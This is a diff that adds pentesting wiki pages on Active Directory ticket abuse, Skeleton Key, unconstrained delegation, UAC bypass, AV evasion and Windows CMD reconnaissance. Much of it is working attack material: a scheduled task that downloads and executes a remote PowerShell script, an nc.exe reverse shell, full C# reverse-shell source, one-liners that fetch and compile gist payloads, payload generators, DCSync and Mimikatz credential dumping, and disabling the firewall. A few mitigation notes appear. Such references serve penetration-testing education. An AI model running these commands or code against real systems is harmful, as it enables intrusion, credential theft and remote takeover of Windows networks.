+* 4672: Admin Logon
+
+\*\*\*\*[**More information about Silver Tickets in ired.team**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets)\*\*\*\*
+
+## Available Services
+
+<table>
+  <thead>
+    <tr>
+      <th style="text-align:left">Service Type</th>
+      <th style="text-align:left">Service Silver Tickets</th>
+    </tr>
+  </thead>
+  <tbody>
+    <tr>
+      <td style="text-align:left">WMI</td>
+      <td style="text-align:left">
+        <p>HOST</p>
+        <p>RPCSS</p>
+      </td>
+    </tr>
+    <tr>
+      <td style="text-align:left">PowerShell Remoting</td>
+      <td style="text-align:left">
+        <p>HOST</p>
+        <p>HTTP</p>
+        <p>Depending on OS also:</p>
+        <p>WSMAN</p>
+        <p>RPCSS</p>
+      </td>
+    </tr>
+    <tr>
+      <td style="text-align:left">WinRM</td>
+      <td style="text-align:left">
+        <p>HOST</p>
+        <p>HTTP</p>
+        <p>In some occasions you can just ask for: WINRM</p>
+      </td>
+    </tr>
+    <tr>
+      <td style="text-align:left">Scheduled Tasks</td>
+      <td style="text-align:left">HOST</td>
+    </tr>
+    <tr>
+      <td style="text-align:left">Windows File Share, also psexec</td>
+      <td style="text-align:left">CIFS</td>
+    </tr>
+    <tr>
+      <td style="text-align:left">LDAP operations, included DCSync</td>
+      <td style="text-align:left">LDAP</td>
+    </tr>
+    <tr>
+      <td style="text-align:left">Windows Remote Server Administration Tools</td>
+      <td style="text-align:left">
+        <p>RPCSS</p>
+        <p>LDAP</p>
+        <p>CIFS</p>
+      </td>
+    </tr>
+    <tr>
+      <td style="text-align:left">Golden Tickets</td>
+      <td style="text-align:left">krbtgt</td>
+    </tr>
+  </tbody>
+</table>
+
+Using **Rubeus** you may **ask for all** these tickets using the parameter:
+
+* `/altservice:host,RPCSS,http,wsman,cifs,ldap,krbtgt,winrm`
+
+## Abusing Service tickets
+
+In the following examples lets imagine that the ticket is retrieved impersonating the administrator account.
+
+### CIFS
+
+With this ticket you will be able to access the `C$` and `ADMIN$` folder via **SMB** \(if they are exposed\) and copy files to ay part of the remote filesystem just doing something like:
+
+```bash
+dir \\vulnerable.computer\C$
+dir \\vulnerable.computer\ADMIN$
+copy afile.txt \\vulnerable.computer\C$\Windows\Temp
+```
+
+You will also be able to obtain a shell inside the host or execute arbitrary commands using **psexec**:
+
+{% page-ref page="../ntlm/psexec-and-winexec.md" %}
+
+### HOST
+
+With this permission you can generate scheduled tasks in remote computers and execute arbitrary commands:
+
+```bash
+#Check you have permissions to use schtasks over a remote server
+schtasks /S some.vuln.pc
+#Create scheduled task, first for exe execution, second for powershell reverse shell download
+schtasks /create /S some.vuln.pc /SC weekly /RU "NT Authority\System" /TN "SomeTaskName" /TR "C:\path\to\executable.exe"
+schtasks /create /S some.vuln.pc /SC Weekly /RU "NT Authority\SYSTEM" /TN "SomeTaskName" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.114:8080/pc.ps1''')'"
+#Check it was successfully created
+schtasks /query /S some.vuln.pc
+#Run created schtask now
+schtasks /Run /S mcorp-dc.moneycorp.local /TN "SomeTaskName"
+```
+
+### HOST + RPCSS
+
+With these tickets you can **execute WMI in the victim system**:
+
+```bash
+#Check you have enough privileges
+Invoke-WmiMethod -class win32_operatingsystem -ComputerName remote.computer.local
+#Execute code
+Invoke-WmiMethod win32_process -ComputerName $Computer -name create -argumentlist "$RunCommand"
+
+#You can also use wmic
+wmic remote.computer.local list full /format:list
+```
+
+Find **more information about wmiexec** in the following page:
+
+{% page-ref page="../ntlm/wmicexec.md" %}
+
+### HOST + WSMAN \(WINRM\)
+
+With winrm access over a computer you can **access it** and even get a PowerShell:
+
+```bash
+New-PSSession -Name PSC -ComputerName the.computer.name; Enter-PSSession PSC
+```
+
+Check the following page to learn **more ways to connect with a remote host using winrm**:
+
+{% page-ref page="../ntlm/winrm.md" %}
+
+{% hint style="warning" %}
+Note that **winrm must be active and listening** on the remote computer to access it.
+{% endhint %}
+
+### LDAP
+
+With this privilege you can dump the DC database using **DCSync**:
+
+```text
+mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.local /user:krbtgt
+```
+
+**Learn more about DCSync** in the following page:
+
+{% page-ref page="dcsync.md" %}
+
diff --git a/windows/active-directory-methodology/skeleton-key.md b/windows/active-directory-methodology/skeleton-key.md
new file mode 100644
index 00000000000..d0715103e40
--- /dev/null
+++ b/windows/active-directory-methodology/skeleton-key.md
@@ -0,0 +1,47 @@
+# Skeleton Key
+
+## **Skeleton Key**
+
+**From:** [**https://blog.stealthbits.com/unlocking-all-the-doors-to-active-directory-with-the-skeleton-key-attack/**](https://blog.stealthbits.com/unlocking-all-the-doors-to-active-directory-with-the-skeleton-key-attack/)\*\*\*\*
+
+There are several methods for compromising Active Directory accounts that attackers can use to elevate privileges and create persistence once they have established themselves in your domain. The Skeleton Key is a particularly scary piece of malware targeted at Active Directory domains to make it alarmingly easy to hijack any account. This malware **injects itself into LSASS and creates a master password that will work for any account in the domain**. Existing passwords will also continue to work, so it is very difficult to know this attack has taken place unless you know what to look for.
+
+Not surprisingly, this is one of the many attacks that is packaged and very easy to perform using [Mimikatz](https://github.com/gentilkiwi/mimikatz). Let’s take a look at how it works.
+
+#### Requirements for the Skeleton Key Attack
+
+In order to perpetrate this attack, **the attacker must have Domain Admin rights**. This attack must be **performed on each and every domain controller for complete compromise, but even targeting a single domain controller can be effective**. **Rebooting** a domain controller **will remove this malware** and it will have to be redeployed by the attacker.
+
+#### Performing the Skeleton Key Attack
+
+Performing the attack is very straightforward to do. It only requires the following **command to be run on each domain controller**: `misc::skeleton`. After that, you can authenticate as any user with the default password of Mimikatz.
+
+![Injecting a skeleton key using the misc::skeleton into a domain controller with Mimikatz](https://blog.stealthbits.com/wp-content/uploads/2017/07/1-3.png)
+
+Here is an authentication for a Domain Admin member using the skeleton key as a password to get administrative access to a domain controller: 
+
+![Using the skeleton key as a password with the misc::skeleton command to get administrative access to a domain controller with the default password of Mimikatz](https://blog.stealthbits.com/wp-content/uploads/2017/07/2-5.png)
+
+Note: If you do get a message saying, “System error 86 has occurred. The specified network password is not correct”, just try using the domain\account format for the username and it should work. 
+
+![Using the domain\account format for the username if you get a message saying System error 86 has occurred The specified network password is not correct](https://blog.stealthbits.com/wp-content/uploads/2017/07/3-3.png)
+
+If lsass was **already patched** with skeleton, then this **error** will appear:
+
+![](../../.gitbook/assets/image%20%28267%29.png)
+
+### Mitigations
+
+Skeleton Key
+
+* Events:
+  * System Event ID 7045 - A service was installed in the system. \(Type Kernel Mode driver\)
+  * Security Event ID 4673 – Sensitive Privilege Use \("Audit privilege use" must be enabled\)
+  * Event ID 4611 – A trusted logon process has been registered with the Local Security Authority \("Audit privilege use" must be enabled\)
+* `Get-WinEvent -FilterHashtable @{Logname='System';ID=7045} | ?{$_.message -like "`_`Kernel Mode Driver"}`_
+* This only detect mimidrv `Get-WinEvent -FilterHashtable @{Logname='System';ID=7045} | ?{$`_`.message -like "Kernel Mode Driver" -and $`_`.message -like "`_`mimidrv`_`"}`
+* Mitigation:
+  * Run lsass.exe as a protected process, it forces an attacker to load a kernel mode driver
+  * `New-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa -Name RunAsPPL -Value 1 -Verbose`
+  * Verify after reboot: `Get-WinEvent -FilterHashtable @{Logname='System';ID=12} | ?{$_.message -like "`_`protected process"}`_
+
diff --git a/windows/active-directory-methodology/unconstrained-delegation.md b/windows/active-directory-methodology/unconstrained-delegation.md
new file mode 100644
index 00000000000..71b722e1ee6
--- /dev/null
+++ b/windows/active-directory-methodology/unconstrained-delegation.md
@@ -0,0 +1,41 @@
+# Unconstrained Delegation
+
+## Unconstrained delegation
+
+This a feature that a Domain Administrator can set to any **Computer** inside the domain. Then, anytime a **user logins** onto the Computer, a **copy of the TGT** of that user is going to be **sent inside the TGS** provided by the DC **and saved in memory in LSASS**. So, if you have Administrator privileges on the machine, you will be able to **dump the tickets and impersonate the users** on any machine.
+
+So if a domain admin logins inside a Computer with "Unconstrained Delegation" feature activated, and you have local admin privileges inside that machine, you will be able to dump the ticket and impersonate the Domain Admin anywhere \(domain privesc\).
+
+ You can **find Computer objects with this attribute** checking if the [userAccountControl](https://msdn.microsoft.com/en-us/library/ms680832%28v=vs.85%29.aspx) attribute contains [ADS\_UF\_TRUSTED\_FOR\_DELEGATION](https://msdn.microsoft.com/en-us/library/aa772300%28v=vs.85%29.aspx). You can do this with an LDAP filter of ‘\(userAccountControl:1.2.840.113556.1.4.803:=524288\)’, which is what powerview does:
+
+```bash
+Get-NetComputer -Unconstrained #DCs always appear but aren't useful for privesc
+#Export tickets with Mimikatz
+privilege::debug
+sekurlsa::tickets /export #Recommended way
+kerberos::list /export #Another way
+```
+
+Load the ticket of Administrator \(or victim user\) in memory with **Mimikatz** or **Rubeus for a** [**Pass the Ticket**](pass-the-ticket.md)**.**  
+More info: [https://www.harmj0y.net/blog/activedirectory/s4u2pwnage/](https://www.harmj0y.net/blog/activedirectory/s4u2pwnage/)  
+[**More information about Unconstrained delegation in ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-unrestricted-kerberos-delegation)\*\*\*\*
+
+### **Automatically compromising a Print server**
+
+If an attacker is able to **compromise a computer allowed for "Unconstrained Delegation"**, he could **trick** a **Print server** to **automatically login** against it **saving a TGT** in the memory of the server.  
+Then, the attacker could perform a **Pass the Ticket attack to impersonate** the user Print server computer account.
+
+To make a print server login against any machine you can use [**SpoolSample**](https://github.com/leechristensen/SpoolSample):
+
+```bash
+.\SpoolSample.exe printmachine unconstrinedmachine
+```
+
+If the TGT if from a domain controller, you could perform a[ **DCSync attack**](acl-persistence-abuse.md#dcsync) and obtain all the hashes from the DC.  
+[**More info about this attack in ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-dc-print-server-and-kerberos-delegation)\*\*\*\*
+
+### Mitigation
+
+* Limit DA/Admin logins to specific services
+* Set "Account is sensitive and cannot be delegated" for privileged accounts.
+
diff --git a/windows/authentication-credentials-uac-and-efs.md b/windows/authentication-credentials-uac-and-efs.md
new file mode 100644
index 00000000000..d6bad0ce216
--- /dev/null
+++ b/windows/authentication-credentials-uac-and-efs.md
@@ -0,0 +1,208 @@
+# Authentication, Credentials, UAC and EFS
+
+## Security Support Provider Interface \(SSPI\)
+
+Is the API that can be use to authenticate users.
+
+The SSPI will be in charge of finding the adequate protocol for two machines that want to communicate. The preferred method for this is Kerberos. Then the SSPI will negotiate which authentication protocol will be used, these authentication protocols are called Security Support Provider \(SSP\), are located inside each Windows machine in the form of a DLL and both machines must support the same to be able to communicate.
+
+### Main SSPs
+
+* **Kerberos**: The preferred one 
+  * %windir%\Windows\System32\kerberos.dll
+* **NTLMv1** and **NTLMv2**: Compatibility reasons 
+  * %windir%\Windows\System32\msv1\_0.dll
+* **Digest**: Web servers and LDAP, password in form of a MD5 hash 
+  * %windir%\Windows\System32\Wdigest.dll
+* **Schannel**: SSL and TLS 
+  * %windir%\Windows\System32\Schannel.dll
+* **Negotiate**: It is used to negotiate the protocol to use \(Kerberos or NTLM being Kerberos the default one\) 
+  *  %windir%\Windows\System32\lsasrv.dll
+
+#### The negotiation could offer several methods or only one.
+
+## Local Security Authority \(LSA\)
+
+The **credentials** \(hashed\) are **saved** in the **memory** of this subsystem for Single Sign-On reasons.  
+**LSA** administrates the local **security policy** \(password policy, users permissions...\), **authentication**, **access tokens**...  
+LSA will be the one that will **check** for provided credentials inside the **SAM** file \(for a local login\) and **talk** with the **domain controller** to authenticate a domain user.
+
+The **credentials** are **saved** inside the **process** _**LSASS**_: Kerberos tickets, hashes NT and LM, easily decrypted passwords.
+
+## Credentials Storage
+
+### Security Accounts Manager \(SAM\)
+
+Local credentials are present in this file, the passwords are hashed.
+
+### LSASS
+
+We have talk about this. Different credentials are saved in the memory of this process.
+
+### LSA secrets
+
+LSA could save in disk some credentials:
+
+* Password of the computer account of the Active Directory \(unreachable domain controller\).
+* Passwords of the accounts of Windows services
+* Passwords for scheduled tasks
+* More \(password of IIS applications...\)
+
+### NTDS.dit
+
+It is the database of the Active Directory. It is only present in Domain Controllers.
+
+### Credential Manager store
+
+Allows browsers and other Windows applications to save credentials.
+
+## UAC
+
+UAC is used to allow an **administrator user to not give administrator privileges to each process executed**. This is **achieved using default** the **low privileged token** of the user. When, the administrator executes some process **as administrator**, a **UAC elevation** is performed and if it is successfully completed, the privileged token is used to create the process.
+
+To **differentiate** which process is executed with **low** or **high privileges** **Mandatory Integrity Controls** \(MIC\) are used. If you still don't know what are Windows Integrity levels check the following page:
+
+{% page-ref page="windows-local-privilege-escalation/integrity-levels.md" %}
+
+Some programs are **autoelevated automatically** if the **user belongs** to the **administrator group**. These binaries have inside their _**Manifests**_ the _**autoElevate**_ option with value _**True**_. The binary has to be **signed by Microsoft** also.
+
+Then, to **bypass** the **UAC** \(elevate from **medium** integrity level **to high**\) some attackers use this kind of binaries to **execute arbitrary code** because it will be executed from a **High level integrity process**.
+
+You can **check** the _**Manifest**_ of a binary using the tool _**sigcheck.exe**_ from Sysinternals. And you can **see** the **integrity level** of the processes using _Process Explorer_ or _Process Monitor_ \(of Sysinternals\).
+
+### Check UAC
+
+First you need to check the value of the key **EnableLUA**, if it's **`1`** then UAC is **activated**, if its **`0`** or it **doesn't exist**, then UAC is **inactive**.
+
+```text
+ reg query HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ 
+```
+
+Then you have to check the value of the key **`ConsentPromptBehaviorAdmin`**in the same entry of the registry as before \(info from [here](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-gpsb/341747f5-6b5d-4d30-85fc-fa1cc04038d4)\):
+
+* If **`0`** then, UAC won't prompt \(like **disabled**\)
+* If **`1`** the admin is **asked for username and password** to execute the binary with high rights \(on Secure Desktop\)
+* If **`2`** \(**Always notify me**\) UAC will always ask for confirmation to the administrator when he tries to execute something with high privileges \(on Secure Desktop\)
+* If **`3`** like `1` but not necessary on Secure Desktop
+* If **`4`** like `2` but not necessary on Secure Desktop
+* if **`5`**\(**default**\) it will ask the administrator to confirm to run non Windows binaries with high privileges
+
+Then, you have to take a look at the value of **`LocalAccountTokenFilterPolicy`**   
+If the value is **`0`**, then, only the **RID 500** user \(**built-in Administrator**\) is able to perform **admin tasks without UAC**, and if its `1`, **all accounts inside "Administrators"** group can do them.
+
+And, finally take a look at the value of the key **`FilterAdministratorToken`**  
+If **`0`**\(default\), the **built-in Administrator account can** do remote administration tasks and if **`1`** the built-in account Administrator **cannot** do remote administration tasks, unless `LocalAccountTokenFilterPolicy` is set to `1`.
+
+#### Summary
+
+* If **`EnableLUA=0`**or **doesn't exist**, **no UAC for anyone**
+* If **`EnableLua=1`** and **`LocalAccountTokenFilterPolicy=1` , No UAC for anyone**
+* If **`EnableLua=1`** and **`LocalAccountTokenFilterPolicy=0`** and **`FilterAdministratorToken=0`, No UAC for RID 500 \(Built-in Administrator\)**
+* If **`EnableLua=1`** and **`LocalAccountTokenFilterPolicy=0`** and **`FilterAdministratorToken=1`, UAC for everyone**
+
+### UAC bypass
+
+{% hint style="info" %}
+Note that if you have graphical access to the victim, UAC bypass is straight forward as you can simply click on "Yes" when the UAS prompt appears
+{% endhint %}
+
+It is important to mention that it is **much harder to bypass the UAC if it is in the highest security level \(Always\) than if it is in any of the other levels \(Default\).**
+
+The UAC bypass is needed in the following situation: **the UAC is activated, your process is running in a medium integrity context, and your user belongs to the administrators group**.  
+All this information can be gathered using the metasploit module: `post/windows/gather/win_privs`
+
+You can also check the groups of your user and get the integrity level:
+
+```text
+net user %username%
+whoami /groups | findstr Level
+```
+
+#### **Very** Basic UAC "bypass" \(full file system access\)
+
+If you have a shell with a user that is inside the Administrators group you can **mount the C$** shared via SMB \(file system\) local in a new disk and you will have **access to everything inside the file system** \(even Administrator home folder\).
+
+{% hint style="info" %}
+**Looks like this trick isn't working anymore**
+{% endhint %}
+
+```bash
+net use Z: \\127.0.0.1\c$
+cd C$
+
+#Or you could just access it:
+dir \\127.0.0.1\c$\Users\Administrator\Desktop
+```
+
+#### UAC disabled
+
+If UAC is already disabled \(**`ConsentPromptBehaviorAdmin`**is **`0`**\) you can **execute a reverse shell with admin privileges** \(high integrity level\) using something like:
+
+```bash
+#Put your reverse shell instead of "calc.exe"
+Start-Process powershell -Verb runAs "calc.exe"
+Start-Process powershell -Verb runAs "C:\Windows\Temp\nc.exe -e powershell 10.10.14.7 4444"
+```
+
+#### UAC bypass exploits
+
+You could also use some tools to **bypass UAC like** [**UACME** ](https://github.com/hfiref0x/UACME)which is a **compilation** of several UAC bypass exploits. Note that you will need to **compile UACME using visual studio or msbuild**. The compilation will create several executables \(like_Source\Akagi\outout\x64\Debug\Akagi.exe_\) , you will need to know **which one you need.**  
+You should **be careful** because some bypasses will **prompt some other programs** that will **alert** the **user** that something is happening.
+
+**Empire** and **Metasploit** also have several modules to **bypass** the **UAC**. 
+
+#### More UAC bypass
+
+**All** the techniques used here to bypass AUC **require** a **full interactive shell** with the victim \(a common nc.exe shell is not enough\).
+
+You can get using a **meterpreter** session. Migrate to a **process** that has the **Session** value equals to **1**:
+
+![](../.gitbook/assets/image%20%2849%29.png)
+
+\(_explorer.exe_ should works\)
+
+### Your own bypass - Basic UAC bypass methodology
+
+If you take a look to **UACME** you will note that **most UAC bypasses abuse a Dll Hijacking vulnerabilit**y \(mainly writing the malicious dll on _C:\Windows\System32_\). [Read this to learn how to find a Dll Hijacking vulnerability](windows-local-privilege-escalation/dll-hijacking.md).
+
+1. Find a binary that will **autoelevate** \(check that when it is executed it runs in a high integrity level\).
+2. With procmon find "**NAME NOT FOUND**" events that can be vulnerable to **DLL Hijacking**.
+3. You probably will need to **write** the DLL inside some **protected paths** \(like C:\Windows\System32\) were you don't have writing permissions. You can bypass this using:
+   1. **wusa.exe**: Windows 7,8 and 8.1. It allows to extract the content of a CAB file inside protected paths \(because this tool is executed from a high integrity level\).
+   2. **IFileOperation**: Windows 10.
+4. Prepare a **script** to copy your DLL inside the protected path and execute the vulnerable and autoelevated binary.
+
+#### Another UAC bypass technique
+
+Consists on watching if an **autoElevated binary** tries to **read** from the **registry** the **name/path** of a **binary** or **command** to be **executed** \(this is more interesting if the binary searches this information inside the **HKCU**\).
+
+## EFS \(Encrypted File System\)
+
+EFS works by encrypting a file with a bulk **symmetric key**, also known as the File Encryption Key, or **FEK**.  The FEK is then **encrypted** with a **public key** that is associated with the user who encrypted the file, and this encrypted FEK is stored in the $EFS **alternative data stream** of the encrypted file. To decrypt the file, the EFS component driver uses the **private key** that matches the EFS digital certificate \(used to encrypt the file\) to decrypt the symmetric key that is stored in the $EFS stream. From [here](https://en.wikipedia.org/wiki/Encrypting_File_System).
+
+Examples of files being decrypted without the user asking for it: 
+
+* Files and folders are decrypted before being copied to a volume formatted with another file system, like [FAT32](https://en.wikipedia.org/wiki/File_Allocation_Table). 
+* Encrypted files are copied over the network using the SMB/CIFS protocol, the files are decrypted before they are sent over the network.
+
+The encrypted files using this method can be **tansparently access by the owner user** \(the one who has encrypted them\), so if you can **become that user** you can decrypt the files \(changing the password of the user and logins as him won't work\).
+
+### Check EFS info
+
+Check if a **user** has **used** this **service** checking if this path exists:`C:\users\<username>\appdata\roaming\Microsoft\Protect`
+
+Check **who** has **access** to the file using cipher /c &lt;file&gt;  
+You can also use `cipher /e` and `cipher /d` inside a folder to **encrypt** and **decrypt** all the files
+
+### Decrypting EFS files 
+
+#### Being Authority System
+
+This way requires the **victim user** to be **running** a **process** inside the host. If that is the case, using a `meterpreter` sessions you can impersonate the token of the process of the user \(`impersonate_token` from `incognito`\). Or you could just `migrate` to process of the user.
+
+#### Knowing the users password
+
+{% embed url="https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files" %}
+
+
+
diff --git a/windows/av-bypass.md b/windows/av-bypass.md
new file mode 100644
index 00000000000..4e9deda1629
--- /dev/null
+++ b/windows/av-bypass.md
@@ -0,0 +1,243 @@
+# AV Bypass
+
+## **Telnet Server**
+
+Until Windows10, all Windows came with a **Telnet server** that you could install \(as administrator\) doing:
+
+```text
+pkgmgr /iu:"TelnetServer" /quiet
+```
+
+Make it **start** when the system is started and **run** it now:
+
+```text
+sc config TlntSVR start= auto obj= localsystem
+```
+
+**Change telnet port** \(stealth\) and disable firewall:
+
+```text
+tlntadmn config port=80
+netsh advfirewall set allprofiles state off
+```
+
+## UltraVNC
+
+Download it from: [http://www.uvnc.com/downloads/ultravnc.html](http://www.uvnc.com/downloads/ultravnc.html)
+
+**Execute** _**winvnc.exe**_ and configure the server:
+
+* Enable the option _Disable TrayIcon_
+* Set a password in _VNC Password_
+* Set a password in _View-Only Password_
+
+Then, move the binary _**winvnc.exe**_ and **newly** created file _**UltraVNC.ini**_ inside the **victim**
+
+### **Reverse connection**
+
+The **attacker** should **execute inside** his **host** the binary `vncviewer.exe -listen 5900` so it will be **prepared** to catch a reverse **VNC connection**.  
+Then, it should execute inside the **victim**: `winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900`
+
+## GreatSCT
+
+Download it from: [https://github.com/GreatSCT/GreatSCT](https://github.com/GreatSCT/GreatSCT)
+
+```text
+git clone https://github.com/GreatSCT/GreatSCT.git
+cd GreatSCT/setup/
+./setup.sh
+cd ..
+./GreatSCT.py
+```
+
+Inside GreatSCT:
+
+```text
+use 1
+list #Listing available payloads
+use 9 #rev_tcp.py
+set lhost 10.10.14.0
+sel lport 4444
+generate #payload is the default name
+#This will generate a meterpreter xml and a rcc file for msfconsole
+```
+
+Now **start the lister** with `msfconsole -r file.rc` and **execute** the **xml payload** with:
+
+```text
+C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe payload.xml
+```
+
+**Current defender will terminate the process very fast.**
+
+## Compiling our own reverse shell
+
+ https://medium.com/@Bank\_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15
+
+#### First C\# Revershell
+
+Compile it with:
+
+```text
+c:\windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /t:exe /out:back2.exe C:\Users\Public\Documents\Back1.cs.txt
+```
+
+Use it with:
+
+```text
+back.exe <ATTACKER_IP> <PORT>
+```
+
+```text
+using System;
+using System.Text;
+using System.IO;
+using System.Diagnostics;
+using System.ComponentModel;
+using System.Linq;
+using System.Net;
+using System.Net.Sockets;
+
+
+namespace ConnectBack
+{
+	public class Program
+	{
+		static StreamWriter streamWriter;
+
+		public static void Main(string[] args)
+		{
+			using(TcpClient client = new TcpClient(args[0], System.Convert.ToInt32(args[1])))
+			{
+				using(Stream stream = client.GetStream())
+				{
+					using(StreamReader rdr = new StreamReader(stream))
+					{
+						streamWriter = new StreamWriter(stream);
+						
+						StringBuilder strInput = new StringBuilder();
+
+						Process p = new Process();
+						p.StartInfo.FileName = "cmd.exe";
+						p.StartInfo.CreateNoWindow = true;
+						p.StartInfo.UseShellExecute = false;
+						p.StartInfo.RedirectStandardOutput = true;
+						p.StartInfo.RedirectStandardInput = true;
+						p.StartInfo.RedirectStandardError = true;
+						p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);
+						p.Start();
+						p.BeginOutputReadLine();
+
+						while(true)
+						{
+							strInput.Append(rdr.ReadLine());
+							//strInput.Append("\n");
+							p.StandardInput.WriteLine(strInput);
+							strInput.Remove(0, strInput.Length);
+						}
+					}
+				}
+			}
+		}
+
+		private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)
+        {
+            StringBuilder strOutput = new StringBuilder();
+
+            if (!String.IsNullOrEmpty(outLine.Data))
+            {
+                try
+                {
+                    strOutput.Append(outLine.Data);
+                    streamWriter.WriteLine(strOutput);
+                    streamWriter.Flush();
+                }
+                catch (Exception err) { }
+            }
+        }
+
+	}
+}
+```
+
+[https://gist.githubusercontent.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc/raw/1b6c32ef6322122a98a1912a794b48788edf6bad/Simple\_Rev\_Shell.cs](https://gist.githubusercontent.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc/raw/1b6c32ef6322122a98a1912a794b48788edf6bad/Simple_Rev_Shell.cs)
+
+## C\# using compiler
+
+```text
+C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt.txt REV.shell.txt
+```
+
+[REV.txt: https://gist.github.com/BankSecurity/812060a13e57c815abe21ef04857b066](https://gist.github.com/BankSecurity/812060a13e57c815abe21ef04857b066)
+
+[REV.shell: https://gist.github.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639](https://gist.github.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639)
+
+Automatic download and execution:
+
+```text
+64bit:
+powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell
+
+32bit:
+powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell
+```
+
+{% embed url="https://gist.github.com/BankSecurity/469ac5f9944ed1b8c39129dc0037bb8f" %}
+
+C\# obfuscators list: [https://github.com/NotPrab/.NET-Obfuscator](https://github.com/NotPrab/.NET-Obfuscator)
+
+## C++
+
+```text
+sudo apt-get install mingw-w64
+
+i686-w64-mingw32-g++ prometheus.cpp -o prometheus.exe -lws2_32 -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc
+```
+
+[https://github.com/paranoidninja/ScriptDotSh-MalwareDevelopment/blob/master/prometheus.cpp](https://github.com/paranoidninja/ScriptDotSh-MalwareDevelopment/blob/master/prometheus.cpp)
+
+Merlin, Empire, Puppy, SalsaTools https://astr0baby.wordpress.com/2013/10/17/customizing-custom-meterpreter-loader/
+
+[https://www.blackhat.com/docs/us-16/materials/us-16-Mittal-AMSI-How-Windows-10-Plans-To-Stop-Script-Based-Attacks-And-How-Well-It-Does-It.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Mittal-AMSI-How-Windows-10-Plans-To-Stop-Script-Based-Attacks-And-How-Well-It-Does-It.pdf)
+
+https://github.com/l0ss/Grouper2
+
+{% embed url="http://www.labofapenetrationtester.com/2016/05/practical-use-of-javascript-and-com-for-pentesting.html" %}
+
+{% embed url="http://niiconsulting.com/checkmate/2018/06/bypassing-detection-for-a-reverse-meterpreter-shell/" %}
+
+## Other tools
+
+```bash
+# Veil Framework:
+https://github.com/Veil-Framework/Veil
+
+# Shellter
+https://www.shellterproject.com/download/
+
+# Sharpshooter
+# https://github.com/mdsecactivebreach/SharpShooter
+# Javascript Payload Stageless: 
+SharpShooter.py --stageless --dotnetver 4 --payload js --output foo --rawscfile ./raw.txt --sandbox 1=contoso,2,3
+
+# Stageless HTA Payload: 
+SharpShooter.py --stageless --dotnetver 2 --payload hta --output foo --rawscfile ./raw.txt --sandbox 4 --smuggle --template mcafee
+
+# Staged VBS:
+SharpShooter.py --payload vbs --delivery both --output foo --web http://www.foo.bar/shellcode.payload --dns bar.foo --shellcode --scfile ./csharpsc.txt --sandbox 1=contoso --smuggle --template mcafee --dotnetver 4
+
+# Donut: 
+https://github.com/TheWover/donut
+
+# Vulcan
+https://github.com/praetorian-code/vulcan
+```
+
+## More
+
+{% embed url="https://github.com/EgeBalci/sgn" %}
+
+{% embed url="https://github.com/persianhydra/Xeexe-TopAntivirusEvasion" %}
+
+
+
diff --git a/windows/basic-cmd-for-pentesters.md b/windows/basic-cmd-for-pentesters.md
new file mode 100644
index 00000000000..9782546dd24
--- /dev/null
+++ b/windows/basic-cmd-for-pentesters.md
@@ -0,0 +1,594 @@
+# Basic CMD for Pentesters
+
+## System info
+
+### Version and Patches info
+
+```bash
+wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get architecture
+systeminfo
+systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
+wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches
+hostname
+DRIVERQUERY #3rd party driver vulnerable?
+```
+
+### Environment
+
+```bash
+set #List all environment variables
+```
+
+Some env variables to highlight:
+
+* **COMPUTERNAME**: Name of the computer
+* **TEMP/TMP:** Temp folder
+* **USERNAME:** Your username
+* **HOMEPATH/USERPROFILE:** Home directory
+* **windir:** C:\Windows
+* **OS**:Windos OS
+* **LOGONSERVER**: Name of domain controller
+* **USERDNSDOMAIN**: Domain name to use with DNS
+* **USERDOMAIN**: Name of the domain
+
+```bash
+nslookup %LOGONSERVER%.%USERDNSDOMAIN% #DNS request for DC
+```
+
+### Mounted disks
+
+```bash
+(wmic logicaldisk get caption 2>nul | more) || (fsutil fsinfo drives 2>nul)
+wmic logicaldisk get caption,description,providername
+```
+
+### AV
+
+```bash
